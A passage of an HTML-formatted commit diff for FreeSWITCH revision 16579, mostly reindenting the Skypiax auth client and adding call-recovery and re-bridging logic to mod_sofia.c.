+                XSendEvent(disp, w_P, False, 0, &amp;e);
</ins><span class="cx"> 
</span><del>-    e.xclient.message_type = atom2; /*  following messages */
-    pos += i;
-  } while (pos &lt;= len);
</del><ins>+                e.xclient.message_type = atom2;        /*  following messages */
+                pos += i;
+        } while (pos &lt;= len);
</ins><span class="cx"> 
</span><del>-  XSync(disp, False);
-  ok = X11_errors_untrap();
</del><ins>+        XSync(disp, False);
+        ok = X11_errors_untrap();
</ins><span class="cx"> 
</span><del>-  if (!ok)
-    printf(&quot;Sending message failed with status %d\n&quot;, xerror);
</del><ins>+        if (!ok)
+                printf(&quot;Sending message failed with status %d\n&quot;, xerror);
</ins><span class="cx"> 
</span><del>-  return 1;
</del><ins>+        return 1;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
</span><span class="cx"> {
</span><del>-  Atom skype_inst = XInternAtom(SkypiaxHandles-&gt;disp, &quot;_SKYPE_INSTANCE&quot;, True);
</del><ins>+        Atom skype_inst = XInternAtom(SkypiaxHandles-&gt;disp, &quot;_SKYPE_INSTANCE&quot;, True);
</ins><span class="cx"> 
</span><del>-  Atom type_ret;
-  int format_ret;
-  unsigned long nitems_ret;
-  unsigned long bytes_after_ret;
-  unsigned char *prop;
-  int status;
</del><ins>+        Atom type_ret;
+        int format_ret;
+        unsigned long nitems_ret;
+        unsigned long bytes_after_ret;
+        unsigned char *prop;
+        int status;
</ins><span class="cx"> 
</span><del>-  X11_errors_trap();
-  status =
-    XGetWindowProperty(SkypiaxHandles-&gt;disp, DefaultRootWindow(SkypiaxHandles-&gt;disp),
-                       skype_inst, 0, 1, False, XA_WINDOW, &amp;type_ret, &amp;format_ret,
-                       &amp;nitems_ret, &amp;bytes_after_ret, &amp;prop);
</del><ins>+        X11_errors_trap();
+        status =
+                XGetWindowProperty(SkypiaxHandles-&gt;disp, DefaultRootWindow(SkypiaxHandles-&gt;disp),
+                                                   skype_inst, 0, 1, False, XA_WINDOW, &amp;type_ret, &amp;format_ret, &amp;nitems_ret, &amp;bytes_after_ret, &amp;prop);
</ins><span class="cx"> 
</span><del>-  X11_errors_untrap();
-  /*  sanity check */
-  if (status != Success || format_ret != 32 || nitems_ret != 1) {
-    SkypiaxHandles-&gt;skype_win = (Window) - 1;
-    printf(&quot;Skype instance not found on display '%s'\n&quot;, dispname);
-    return 0;
-  }
</del><ins>+        X11_errors_untrap();
+        /*  sanity check */
+        if (status != Success || format_ret != 32 || nitems_ret != 1) {
+                SkypiaxHandles-&gt;skype_win = (Window) - 1;
+                printf(&quot;Skype instance not found on display '%s'\n&quot;, dispname);
+                return 0;
+        }
</ins><span class="cx"> 
</span><del>-  SkypiaxHandles-&gt;skype_win = *(const unsigned long *) prop &amp; 0xffffffff;
-  printf(&quot;Skype instance found on display '%s', with id #%d\n&quot;, dispname,
-         (unsigned int) SkypiaxHandles-&gt;skype_win);
-  return 1;
</del><ins>+        SkypiaxHandles-&gt;skype_win = *(const unsigned long *) prop &amp; 0xffffffff;
+        printf(&quot;Skype instance found on display '%s', with id #%d\n&quot;, dispname, (unsigned int) SkypiaxHandles-&gt;skype_win);
+        return 1;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> void skypiax_clean_disp(void *data)
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-  int *dispptr;
-  int disp;
</del><ins>+        int *dispptr;
+        int disp;
</ins><span class="cx"> 
</span><del>-  dispptr = data;
-  disp = *dispptr;
</del><ins>+        dispptr = data;
+        disp = *dispptr;
</ins><span class="cx"> 
</span><del>-  if (disp) {
-    close(disp);
-  } else {
-  }
-  usleep(1000);
</del><ins>+        if (disp) {
+                close(disp);
+        } else {
+        }
+        usleep(1000);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int main(int argc, char *argv[])
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-  struct SkypiaxHandles SkypiaxHandles;
-  char buf[512];
-  Display *disp = NULL;
-  Window root = -1;
-  Window win = -1;
</del><ins>+        struct SkypiaxHandles SkypiaxHandles;
+        char buf[512];
+        Display *disp = NULL;
+        Window root = -1;
+        Window win = -1;
</ins><span class="cx"> 
</span><del>-  if (argc == 2)
-    dispname = argv[1];
-  else
-    dispname = &quot;:0.0&quot;;
</del><ins>+        if (argc == 2)
+                dispname = argv[1];
+        else
+                dispname = &quot;:0.0&quot;;
</ins><span class="cx"> 
</span><del>-  disp = XOpenDisplay(dispname);
-  if (!disp) {
-    printf(&quot;Cannot open X Display '%s', exiting\n&quot;, dispname);
-    return -1;
-  }
</del><ins>+        disp = XOpenDisplay(dispname);
+        if (!disp) {
+                printf(&quot;Cannot open X Display '%s', exiting\n&quot;, dispname);
+                return -1;
+        }
</ins><span class="cx"> 
</span><del>-  int xfd;
-  xfd = XConnectionNumber(disp);
</del><ins>+        int xfd;
+        xfd = XConnectionNumber(disp);
</ins><span class="cx"> 
</span><del>-  SkypiaxHandles.disp = disp;
</del><ins>+        SkypiaxHandles.disp = disp;
</ins><span class="cx"> 
</span><del>-  if (skypiax_present(&amp;SkypiaxHandles)) {
-    root = DefaultRootWindow(disp);
-    win =
-      XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0,
-                          BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp,
-                                                                            DefaultScreen
-                                                                            (disp)));
</del><ins>+        if (skypiax_present(&amp;SkypiaxHandles)) {
+                root = DefaultRootWindow(disp);
+                win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
</ins><span class="cx"> 
</span><del>-    SkypiaxHandles.win = win;
</del><ins>+                SkypiaxHandles.win = win;
</ins><span class="cx"> 
</span><del>-    snprintf(buf, 512, &quot;NAME skypiax&quot;);
</del><ins>+                snprintf(buf, 512, &quot;NAME skypiax&quot;);
</ins><span class="cx"> 
</span><del>-    if (!skypiax_send_message(&amp;SkypiaxHandles, buf)) {
-      printf
-        (&quot;Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n&quot;);
-      return -1;
-    }
</del><ins>+                if (!skypiax_send_message(&amp;SkypiaxHandles, buf)) {
+                        printf(&quot;Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n&quot;);
+                        return -1;
+                }
</ins><span class="cx"> 
</span><del>-    snprintf(buf, 512, &quot;PROTOCOL 6&quot;);
-    if (!skypiax_send_message(&amp;SkypiaxHandles, buf)) {
-      printf
-        (&quot;Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n&quot;);
-      return -1;
-    }
</del><ins>+                snprintf(buf, 512, &quot;PROTOCOL 6&quot;);
+                if (!skypiax_send_message(&amp;SkypiaxHandles, buf)) {
+                        printf(&quot;Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n&quot;);
+                        return -1;
+                }
</ins><span class="cx"> 
</span><del>-    /* perform an events loop */
-    XEvent an_event;
-    char buf[21];               /*  can't be longer */
-    char buffer[17000];
-    char *b;
-    int i;
</del><ins>+                /* perform an events loop */
+                XEvent an_event;
+                char buf[21];                        /*  can't be longer */
+                char buffer[17000];
+                char *b;
+                int i;
</ins><span class="cx"> 
</span><del>-    b = buffer;
</del><ins>+                b = buffer;
</ins><span class="cx"> 
</span><del>-    while (1) {
-      XNextEvent(disp, &amp;an_event);
-      switch (an_event.type) {
-      case ClientMessage:
</del><ins>+                while (1) {
+                        XNextEvent(disp, &amp;an_event);
+                        switch (an_event.type) {
+                        case ClientMessage:
</ins><span class="cx"> 
</span><del>-        if (an_event.xclient.format != 8)
-          break;
</del><ins>+                                if (an_event.xclient.format != 8)
+                                        break;
</ins><span class="cx"> 
</span><del>-        for (i = 0; i &lt; 20 &amp;&amp; an_event.xclient.data.b[i] != '\0'; ++i)
-          buf[i] = an_event.xclient.data.b[i];
</del><ins>+                                for (i = 0; i &lt; 20 &amp;&amp; an_event.xclient.data.b[i] != '\0'; ++i)
+                                        buf[i] = an_event.xclient.data.b[i];
</ins><span class="cx"> 
</span><del>-        buf[i] = '\0';
</del><ins>+                                buf[i] = '\0';
</ins><span class="cx"> 
</span><del>-        strcat(buffer, buf);
</del><ins>+                                strcat(buffer, buf);
</ins><span class="cx"> 
</span><del>-        if (i &lt; 20) {           /* last fragment */
-          unsigned int howmany;
</del><ins>+                                if (i &lt; 20) {        /* last fragment */
+                                        unsigned int howmany;
</ins><span class="cx"> 
</span><del>-          howmany = strlen(b) + 1;
</del><ins>+                                        howmany = strlen(b) + 1;
</ins><span class="cx"> 
</span><del>-          printf(&quot;RECEIVED==&gt; %s\n&quot;, b);
-          memset(buffer, '\0', 17000);
-        }
</del><ins>+                                        printf(&quot;RECEIVED==&gt; %s\n&quot;, b);
+                                        memset(buffer, '\0', 17000);
+                                }
</ins><span class="cx"> 
</span><del>-        break;
-      default:
-        break;
-      }
-    }
-  } else {
-    printf
-      (&quot;Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n&quot;,
-       dispname);
-    return -1;
-  }
-  return 0;
</del><ins>+                                break;
+                        default:
+                                break;
+                        }
+                }
+        } else {
+                printf(&quot;Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n&quot;, dispname);
+                return -1;
+        }
+        return 0;
</ins><span class="cx"> 
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxmod_skypiaxc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -719,7 +719,7 @@
</span><span class="cx">                                 DEBUGA_SKYPE(&quot;CHANNEL READ CONTINUE\n&quot;, SKYPIAX_P_LOG);
</span><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><del>-        switch_core_timer_check(&amp;tech_pvt-&gt;timer_read, SWITCH_TRUE);
</del><ins>+                        switch_core_timer_check(&amp;tech_pvt-&gt;timer_read, SWITCH_TRUE);
</ins><span class="cx">                         *frame = &amp;tech_pvt-&gt;read_frame;
</span><span class="cx"> #if SWITCH_BYTE_ORDER == __BIG_ENDIAN
</span><span class="cx">                         if (switch_test_flag(tech_pvt, TFLAG_LINEAR)) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxskypiax_protocolc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax_protocol.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax_protocol.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax_protocol.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1101,7 +1101,7 @@
</span><span class="cx">                                                                 /* send the 16khz frame to the Skype client waiting for incoming audio to be sent to the remote party */
</span><span class="cx">                                                                 if (tech_pvt-&gt;skype_callflow != CALLFLOW_STATUS_REMOTEHOLD) {
</span><span class="cx">                                                                         len = send(fd, (char *) cli_out, got, 0);
</span><del>-                                                                        //skypiax_sleep(5000);        //5 msec
</del><ins>+                                                                        //skypiax_sleep(5000);  //5 msec
</ins><span class="cx"> 
</span><span class="cx">                                                                         if (len == -1) {
</span><span class="cx">                                                                                 break;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiamod_sofiac"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -85,7 +85,7 @@
</span><span class="cx">                 sofia_glue_tech_absorb_sdp(tech_pvt);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (sofia_test_flag(tech_pvt, TFLAG_OUTBOUND)) {
</del><ins>+        if (sofia_test_flag(tech_pvt, TFLAG_OUTBOUND) || sofia_test_flag(tech_pvt, TFLAG_RECOVERING)) {
</ins><span class="cx">                 const char *var;
</span><span class="cx"> 
</span><span class="cx">                 if ((var = switch_channel_get_variable(channel, SOFIA_SECURE_MEDIA_VARIABLE)) &amp;&amp; !zstr(var)) {
</span><span class="lines">@@ -107,12 +107,20 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        /* Move channel's state machine to ROUTING */
-        switch_channel_set_state(channel, CS_ROUTING);
-        assert(switch_channel_get_state(channel) != CS_INIT);
</del><span class="cx"> 
</span><del>- end:
</del><span class="cx"> 
</span><ins>+        if (!sofia_test_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE)) {
+                if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING)) {
+                        switch_channel_set_state(channel, CS_EXECUTE);
+                } else {
+                        /* Move channel's state machine to ROUTING */
+                        switch_channel_set_state(channel, CS_ROUTING);
+                        assert(switch_channel_get_state(channel) != CS_INIT);
+                }
+        }
+
+  end:
+
</ins><span class="cx">         switch_mutex_unlock(tech_pvt-&gt;sofia_mutex);
</span><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="lines">@@ -129,7 +137,8 @@
</span><span class="cx">                 switch_channel_clear_flag(channel, CF_LEG_HOLDING);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s SOFIA ROUTING\n&quot;, switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s SOFIA ROUTING\n&quot;,
+                                          switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -146,8 +155,40 @@
</span><span class="cx">                 switch_channel_clear_flag(channel, CF_LEG_HOLDING);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s SOFIA RESET\n&quot;, switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s SOFIA RESET\n&quot;,
+                                          switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx"> 
</span><ins>+
+        if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE)) {
+                switch_core_session_t *other_session;
+                const char *uuid = switch_core_session_get_uuid(session);
+
+                if (switch_channel_test_flag(channel, CF_BRIDGE_ORIGINATOR)) {
+                        const char *other_uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
+
+                        if (other_uuid &amp;&amp; (other_session = switch_core_session_locate(other_uuid))) {
+                                switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
+
+                                switch_channel_clear_flag(channel, CF_BRIDGE_ORIGINATOR);
+                                switch_channel_wait_for_state_timeout(other_channel, CS_RESET, 5000);
+                                switch_channel_wait_for_flag(channel, CF_REQ_MEDIA, SWITCH_FALSE, 10000, NULL);
+                                switch_channel_wait_for_flag(channel, CF_MEDIA_ACK, SWITCH_TRUE, 10000, NULL);
+                                switch_channel_wait_for_flag(other_channel, CF_REQ_MEDIA, SWITCH_FALSE, 10000, NULL);
+                                switch_channel_wait_for_flag(other_channel, CF_MEDIA_ACK, SWITCH_TRUE, 10000, NULL);
+
+                                if (switch_channel_test_flag(channel, CF_PROXY_MODE) &amp;&amp; switch_channel_test_flag(other_channel, CF_PROXY_MODE)) {
+                                        switch_ivr_signal_bridge(session, other_session);
+                                } else {
+                                        switch_ivr_uuid_bridge(uuid, other_uuid);
+                                }
+                                switch_core_session_rwunlock(other_session);
+                        }
+                }
+
+                sofia_clear_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE);
+        }
+
+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -163,8 +204,10 @@
</span><span class="cx">                 switch_channel_clear_flag(channel, CF_LEG_HOLDING);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s SOFIA HIBERNATE\n&quot;, switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s SOFIA HIBERNATE\n&quot;,
+                                          switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx"> 
</span><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -174,16 +217,19 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(tech_pvt != NULL);
</span><span class="cx"> 
</span><ins>+        sofia_clear_flag(tech_pvt, TFLAG_RECOVERING);
+
</ins><span class="cx">         if (!sofia_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
</span><span class="cx">                 sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
</span><span class="cx">                 switch_channel_clear_flag(channel, CF_LEG_HOLDING);
</span><span class="cx">         }
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s SOFIA EXECUTE\n&quot;, switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s SOFIA EXECUTE\n&quot;,
+                                          switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-char *generate_pai_str(switch_core_session_t *session) 
</del><ins>+char *generate_pai_str(switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
</span><span class="cx">         const char *callee_name = NULL, *callee_number = NULL;
</span><span class="lines">@@ -194,7 +240,7 @@
</span><span class="cx">                 zstr((callee_name = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_callee_id_name&quot;)))) {
</span><span class="cx">                 callee_name = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;callee_id_name&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr((callee_number = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;effective_callee_id_number&quot;))) &amp;&amp;
</span><span class="cx">                 zstr((callee_number = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_callee_id_number&quot;)))) {
</span><span class="cx">                 callee_number = tech_pvt-&gt;caller_profile-&gt;destination_number;
</span><span class="lines">@@ -210,17 +256,16 @@
</span><span class="cx">         if (!zstr(callee_number) &amp;&amp; (zstr(ua) || !switch_stristr(&quot;polycom&quot;, ua))) {
</span><span class="cx">                 callee_number = switch_core_session_sprintf(session, &quot;sip:%s@%s&quot;, callee_number, tech_pvt-&gt;profile-&gt;sipip);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         header = (tech_pvt-&gt;cid_type == CID_TYPE_RPID &amp;&amp; !switch_stristr(&quot;aastra&quot;, ua)) ? &quot;Remote-Party-ID&quot; : &quot;P-Asserted-Identity&quot;;
</span><span class="cx"> 
</span><span class="cx">         if (!zstr(callee_name) &amp;&amp; !zstr(callee_number)) {
</span><span class="cx">                 if (switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote)) {
</span><span class="cx">                         pai = switch_core_session_sprintf(tech_pvt-&gt;session, &quot;%s: \&quot;%s\&quot; &lt;%s&gt;\n&quot;
</span><del>-                                                                                          &quot;X-FS-Display-Name: %s\nX-FS-Display-Number: %s\n&quot;, 
</del><ins>+                                                                                          &quot;X-FS-Display-Name: %s\nX-FS-Display-Number: %s\n&quot;,
</ins><span class="cx">                                                                                           header, callee_name, callee_number, callee_name, callee_number);
</span><span class="cx">                 } else {
</span><del>-                        pai = switch_core_session_sprintf(tech_pvt-&gt;session, &quot;%s: \&quot;%s\&quot; &lt;%s&gt;\n&quot;, 
-                                                                                          header, callee_name, callee_number);
</del><ins>+                        pai = switch_core_session_sprintf(tech_pvt-&gt;session, &quot;%s: \&quot;%s\&quot; &lt;%s&gt;\n&quot;, header, callee_name, callee_number);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">         }
</span><span class="lines">@@ -296,7 +341,7 @@
</span><span class="cx">                 if (switch_core_codec_ready(&amp;tech_pvt-&gt;read_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&amp;tech_pvt-&gt;read_codec);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_ready(&amp;tech_pvt-&gt;write_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&amp;tech_pvt-&gt;write_codec);
</span><span class="cx">                 }
</span><span class="lines">@@ -304,7 +349,7 @@
</span><span class="cx">                 if (switch_core_codec_ready(&amp;tech_pvt-&gt;video_read_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&amp;tech_pvt-&gt;video_read_codec);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_ready(&amp;tech_pvt-&gt;video_write_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&amp;tech_pvt-&gt;video_write_codec);
</span><span class="cx">                 }
</span><span class="lines">@@ -334,6 +379,9 @@
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(tech_pvt-&gt;sofia_mutex);
</span><span class="cx"> 
</span><ins>+        sofia_clear_flag(tech_pvt, TFLAG_RECOVERING);
+        sofia_glue_tech_untrack(tech_pvt-&gt;profile, session, SWITCH_TRUE);
+
</ins><span class="cx">         if (!switch_channel_test_flag(channel, CF_ANSWERED)) {
</span><span class="cx">                 if (switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
</span><span class="cx">                         tech_pvt-&gt;profile-&gt;ob_failed_calls++;
</span><span class="lines">@@ -377,7 +425,7 @@
</span><span class="cx">         if (tech_pvt-&gt;nh &amp;&amp; !sofia_test_flag(tech_pvt, TFLAG_BYE)) {
</span><span class="cx">                 char reason[128] = &quot;&quot;;
</span><span class="cx">                 char *bye_headers = sofia_glue_get_extra_headers(channel, SOFIA_SIP_BYE_HEADER_PREFIX);
</span><del>-                const char* val = NULL;
</del><ins>+                const char *val = NULL;
</ins><span class="cx"> 
</span><span class="cx">                 val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;disable_q850_reason&quot;);
</span><span class="cx">                 if (!val || switch_true(val)) {
</span><span class="lines">@@ -386,10 +434,7 @@
</span><span class="cx">                         } else if (cause == SWITCH_CAUSE_PICKED_OFF || cause == SWITCH_CAUSE_LOSE_RACE) {
</span><span class="cx">                                 switch_snprintf(reason, sizeof(reason), &quot;SIP;cause=200;text=\&quot;Call completed elsewhere\&quot;&quot;);
</span><span class="cx">                         } else {
</span><del>-                                switch_snprintf(reason, sizeof(reason), &quot;%s;cause=%d;text=\&quot;%s\&quot;&quot;,
-                                                tech_pvt-&gt;profile-&gt;username, 
-                                                cause,
-                                                switch_channel_cause2str(cause));
</del><ins>+                                switch_snprintf(reason, sizeof(reason), &quot;%s;cause=%d;text=\&quot;%s\&quot;&quot;, tech_pvt-&gt;profile-&gt;username, cause, switch_channel_cause2str(cause));
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -401,12 +446,11 @@
</span><span class="cx">                         }
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Sending BYE to %s\n&quot;, switch_channel_get_name(channel));
</span><span class="cx">                         if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
</span><del>-                                nua_bye(tech_pvt-&gt;nh, 
</del><ins>+                                nua_bye(tech_pvt-&gt;nh,
</ins><span class="cx">                                                 TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)),
</span><span class="cx">                                                 TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
</span><span class="cx">                                                 TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)),
</span><del>-                                                TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
-                                                TAG_END());
</del><ins>+                                                TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)), TAG_END());
</ins><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         if (switch_channel_test_flag(channel, CF_OUTBOUND)) {
</span><span class="lines">@@ -415,10 +459,8 @@
</span><span class="cx">                                         switch_channel_set_variable(channel, &quot;sip_hangup_disposition&quot;, &quot;send_cancel&quot;);
</span><span class="cx">                                 }
</span><span class="cx">                                 if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
</span><del>-                                        nua_cancel(tech_pvt-&gt;nh, 
-                                                           TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)),
-                                                           TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
-                                                           TAG_END());
</del><ins>+                                        nua_cancel(tech_pvt-&gt;nh,
+                                                           TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)), TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)), TAG_END());
</ins><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Responding to INVITE with: %d\n&quot;, sip_cause);
</span><span class="lines">@@ -426,11 +468,9 @@
</span><span class="cx">                                         switch_channel_set_variable(channel, &quot;sip_hangup_disposition&quot;, &quot;send_refuse&quot;);
</span><span class="cx">                                 }
</span><span class="cx">                                 if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
</span><del>-                                        nua_respond(tech_pvt-&gt;nh, sip_cause, sip_status_phrase(sip_cause), 
-                                                            TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)),
-                                                                SIPTAG_HEADER_STR(generate_pai_str(session)),
-                                                                TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
-                                                                TAG_END());
</del><ins>+                                        nua_respond(tech_pvt-&gt;nh, sip_cause, sip_status_phrase(sip_cause),
+                                                                TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)),
+                                                                SIPTAG_HEADER_STR(generate_pai_str(session)), TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)), TAG_END());
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -444,8 +484,8 @@
</span><span class="cx">         if (tech_pvt-&gt;sofia_private) {
</span><span class="cx">                 *tech_pvt-&gt;sofia_private-&gt;uuid = '\0';
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         sofia_glue_set_rtp_stats(tech_pvt);
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(tech_pvt-&gt;sofia_mutex);
</span><span class="lines">@@ -455,13 +495,13 @@
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t sofia_on_exchange_media(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;SOFIA LOOPBACK\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;SOFIA EXCHANGE_MEDIA\n&quot;);
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t sofia_on_soft_execute(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;SOFIA TRANSMIT\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;SOFIA SOFT_EXECUTE\n&quot;);
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
